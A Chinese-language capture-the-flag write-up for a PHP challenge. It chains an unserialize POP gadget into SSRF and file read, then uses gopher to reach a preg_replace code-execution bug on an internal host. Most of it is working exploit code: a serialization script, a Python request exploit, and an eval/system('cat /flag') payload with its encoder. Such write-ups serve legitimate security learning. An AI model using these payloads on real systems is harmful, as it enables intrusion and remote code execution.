给了源码。马上能看到geme.php的unserialize($_GET['a']);
然后去看class.php。一个很简单的POP链
<?php
class User{
public $username;
public $password;
public $time;
public $best_time;
public $error;
public function __construct($b){
$this->error=$b;
}
}
class net_test{
public $url='http://127.0.0.1';
}
class Game{
public $a;
public function __construct($a){
$this->a=$a;
}
}
$b=new net_test();
$a=new User($b);
$Game=new Game($a);
echo serialize($Game);
通过Game类的destruct方法。触发User类的invoke方法。然后echo触发net_test的tostrign方法。造成ssrf。绕一下wakeup。可以任意文件读
exp:
import sys
import requests
url='http://42.192.72.11:40001/game.php?a=O:4:"Game":1:{s:1:"a";O:4:"User":5:{s:8:"username";N;s:8:"password";N;s:4:"time";N;s:9:"best_time";N;s:5:"error";O:8:"net_test":2:{s:3:"url";s:'+str(len(sys.argv[1]))+':"'+str(sys.argv[1])+'";}}}'
cookie={"PHPSESSID":"ajq4jolurhvfjn410v9apqhjc5"}
try:
r=requests.get(url=url,cookies=cookie,timeout=2)
print(r.text.split('input type="radio" name="hard" value="medium">')[0].split('<input type="radio" name="hard" value="low" checked="checked">')[1][6:-5])
except:
pass
读了一圈。啥也没发现。只知道当前IP是10.10.10.1
然后遍历跑了下IP。。靶机卡死了。。。
问了下。。得到内网靶机IP是10.10.10.32
就是一个preg_replace的代码执行。
\\2
等于正则匹配出来的第二个结果
构造x=1{${eval($_POST[2])}}1&2=phpinfo();
。利用${}
带出代码执行的结果。然后输出
最后就是构造gopher
payload ="""POST / HTTP/1.1
Host: 10.10.10.32:80
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
x=1{${eval($_POST[2])}}1&2=system('cat /flag');
"""
output = ""
for i in range(0, len(payload)):
if len(hex(ord(payload[i]))[2:]) == 1:
output += "%0" + hex(ord(payload[i]))[2:]
else:
output += "%" + hex(ord(payload[i]))[2:]
output2 = ""
for i in range(0, len(output)):
if len(hex(ord(output[i]))[2:]) == 1:
output2 += "%0" + hex(ord(output[i]))[2:]
else:
output2 += "%" + hex(ord(output[i]))[2:]
print(output2)
然后本地提交数据。echo下。主要是为了看他URL解析一次后的长度
提交拿到Flag